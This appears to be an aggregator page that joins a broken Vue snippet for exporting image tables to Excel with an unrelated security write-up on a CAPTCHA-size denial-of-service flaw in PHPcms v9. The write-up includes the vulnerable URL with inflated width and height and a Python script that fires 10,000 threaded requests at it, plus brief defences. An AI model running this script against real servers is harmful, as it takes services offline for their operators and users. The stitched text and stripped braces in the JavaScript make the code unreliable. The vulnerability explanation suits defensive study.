vue 使用excel 导出-携带图片可控图片大小

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了vue 使用excel 导出-携带图片可控图片大小相关的知识,希望对你有一定的参考价值。

参考技术A /* eslint-disable */

let idTmr;

const getExplorer = () => 

    let explorer = window.navigator.userAgent;

    //ie

    if (explorer.indexOf("MSIE") >= 0) 

        return 'ie';

    

    //firefox

    else if (explorer.indexOf("Firefox") >= 0) 

        return 'Firefox';

    

    //Chrome

    else if (explorer.indexOf("Chrome") >= 0) 

        return 'Chrome';

    

    //Opera

    else if (explorer.indexOf("Opera") >= 0) 

        return 'Opera';

    

    //Safari

    else if (explorer.indexOf("Safari") >= 0) 

        return 'Safari';

    



// 判断浏览器是否为IE

const exportToExcel = (data, name) => 

    // 判断是否为IE

    if (getExplorer() == 'ie') 

        tableToIE(data, name)

     else 

        tableToNotIE(data, name)

    



const Cleanup = () => 

    window.clearInterval(idTmr);



// ie浏览器下执行

const tableToIE = (data, name) => 

    let curTbl = data;

    let oXL = new ActiveXObject("Excel.Application");

    //创建AX对象excel

    let oWB = oXL.Workbooks.Add();

    //获取workbook对象

    let xlsheet = oWB.Worksheets(1);

    //激活当前sheet

    let sel = document.body.createTextRange();

    sel.moveToElementText(curTbl);

    //把表格中的内容移到TextRange中

    sel.select;

    //全选TextRange中内容

    sel.execCommand("Copy");

    //复制TextRange中内容

    xlsheet.Paste();

    //粘贴到活动的EXCEL中

    oXL.Visible = true;

    //设置excel可见属性

    try 

        let fname = oXL.Application.GetSaveAsFilename("Excel.xls", "Excel Spreadsheets (*.xls), *.xls");

     catch (e) 

        print("Nested catch caught " + e);

     finally 

        oWB.SaveAs(fname);

        oWB.Close(savechanges = false);

        //xls.visible = false;

        oXL.Quit();

        oXL = null;

        // 结束excel进程,退出完成

        window.setInterval("Cleanup();", 1);

        idTmr = window.setInterval("Cleanup();", 1);

    



// 非ie浏览器下执行

const tableToNotIE = (function () 

    // 编码要用utf-8不然默认gbk会出现中文乱码

    const uri = 'data:application/vnd.ms-excel;base64,',

        template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><meta charset="UTF-8"><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>worksheet</x:Name><x:WorksheetOptions><x:DisplayGridlines/></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--></head><body><table>table</table></body></html>';

    const base64 = function (s) 

        return window.btoa(unescape(encodeURIComponent(s)));

    

    const format = (s, c) => 

        return s.replace(/(\w+)/g,

            (m, p) => 

                return c[p];

            )

    

    return (table, name) => 

        const ctx = 

            worksheet: name,

            table

        

        const url = uri + base64(format(template, ctx));

        if (navigator.userAgent.indexOf("Firefox") > -1)

            window.location.href = url

         else 

            const aLink = document.createElement('a');

            aLink.href = url;

            aLink.download = name || '';

            let event;

            if (window.MouseEvent) 

                event = new MouseEvent('click');

             else 

                event = document.createEvent('MouseEvents');

                event.initMouseEvent('click', true, false, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);

            

            aLink.dispatchEvent(event);

        

    

)()

// 导出函数

const table2excel = (column, data, excelName) => 

    const typeMap = 

        image: getImageHtml,

        text: getTextHtml

    

    let thead = column.reduce((result, item) => 

        result += `<th>$item.title</th>`

        return result

    , '')

    thead = `<thead><tr>$thead</tr></thead>`

    let tbody = data.reduce((result, row) => 

        const temp = column.reduce((tds, col) => 

            tds += typeMap[col.type || 'text'](row[col.key], col)

            return tds

        , '')

        result += `<tr>$temp</tr>`

        return result

    , '')

    tbody = `<tbody>$tbody</tbody>`

    const table = thead + tbody

    // 导出表格

    exportToExcel(table, excelName)

    function getTextHtml(val) 

        return `<td  style="text-align: center;vnd.ms-excel.numberformat:@">$val</td>`

    

    function getImageHtml(val, options) 

        options = Object.assign(width: 40, height: 60, options)

        return `<td style="width: $options.widthpx; height: $options.heightpx; text-align: center; vertical-align: middle"><img src="$val" width=$options.width height=$options.height></td>`

    



export default table2excel

Web安全(图片验证码大小可控导致ddos)

图片验证码大小可控导致ddos

一. 前言:
在网站登录处,通常会有图片验证码.我们知道,Web漏洞的成因都有一个很重要的共同点,那就是外部可控.
比如Sql注入中的Url,用户输入的地方可能会存在XSS等.那么如果图片验证码可控,会发生什么呢?
二 . 原理:
比如一个生成图片验证码的链接如下:

http://xx.xx.xx.xx/DEV_GBK_1.4.0/gbk/install_package/api.php?op=checkcode&code_len=4&font_size=20&width=130&height=50&font_color=&background=

这里我们注意两个参数:width和height,这两个意思字面理解为长度和宽度,那么我们尝试修改它的大小:


可以看到,修改大小后图片也随之改变.那么如果我们在这里找到一个临界值(能显示图片的最大长度和宽度),然后利用多线程一直去访问这个链接,是不是会造成服务端不断去处理这个请求(比预期的数据包大很多),可能会导致服务端压力过大,造成ddos攻击.

三. 实战

  1. 这里我们使用PHPcms_V9来测试: 首先搭建好环境,来到管理员登录页:

2. 可以看到图片验证码,然后F12找到生成验证码的链接,如下:

http://xx.xx.xx/DEV_GBK_1.4.0/gbk/install_package/api.php?op=checkcode&code_len=4&font_size=20&width=500&height=500&font_color=&background=

然后尝试修改width和height,找到最大值且保证可访问.这里我找到的大概是 width=4000&height=4000
然后就可以利用脚本使用多线程去访问了

四. Python测试脚本

import requests
import threading
import time

"""
    @ 图片验证码大小可控导致ddos攻击脚本
    @ 单线程为测试,可忽略
    @ 使用时修改url即可
    @ 可根据实际情况修改访问次数,默认为10000
    @ 仅供学习参考,请勿实施攻击
    
"""

# 访问指定Url
def requser():
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36'
    }
    # 将图片的长宽设置为最大临界值的链接
    url = "http://xx.xx.xx.xx/DEV_GBK_1.4.0/gbk/install_package/api.php?op=checkcode&code_len=4&font_size=20&width=4000&height=4000&font_color=&background="
    # url = "https://www.baidu.com/"
    req = requests.get(url=url,headers=headers)
    print("resuest Success!")

# 单线程访问
def single_thread():
    for i in range(50):
        requser()
        print(f"现在是第{i}次请求网页")

# 多线程访问
def multi_thread():
    print("multi_thread begin")
    threads = []
    for i in range(10000): # 10000为访问次数,可根据实际调整
        threads.append(
            threading.Thread(target=requser)
        )
    print(threads)
    for thread in threads:
        thread.start()

    for thread in threads:
        thread.join()
    print("multi_thread end")

if __name__ == '__main__':
    # 单线程
    # single_thread()
    # 多线程
    start = time.time()
    multi_thread()
    end = time.time()
    t = end - start
    print(f"multi thread cost:{t} s")

五. 测试结果:

  1. 这里我们开启脚本去攻击,自己的服务器比较差,跑了100来次就挂了,看以下效果,已经刷不出来了:
  2. 看看服务器:Apache已经挂了

    六 . 防御
    这个就老生常谈了:
    (1) 指定图片验证码的大小,不让外部用户控制大小参数
    (2) 发现脚本请求直接封IP

以上是关于vue 使用excel 导出-携带图片可控图片大小的主要内容,如果未能解决你的问题,请参考以下文章

springboot系列(二十八):如何实现excel携带图片导出?这你得会|超级详细,建议收藏

springboot系列(二十八):如何实现excel携带图片导出?这你得会|超级详细,建议收藏

vue2中导出带有图片的excel表格

Excel催化剂开源第45波-按原图大小导出图片

将列表导出成excel表格图片下载(vue中使用)

excel vba自动图片导入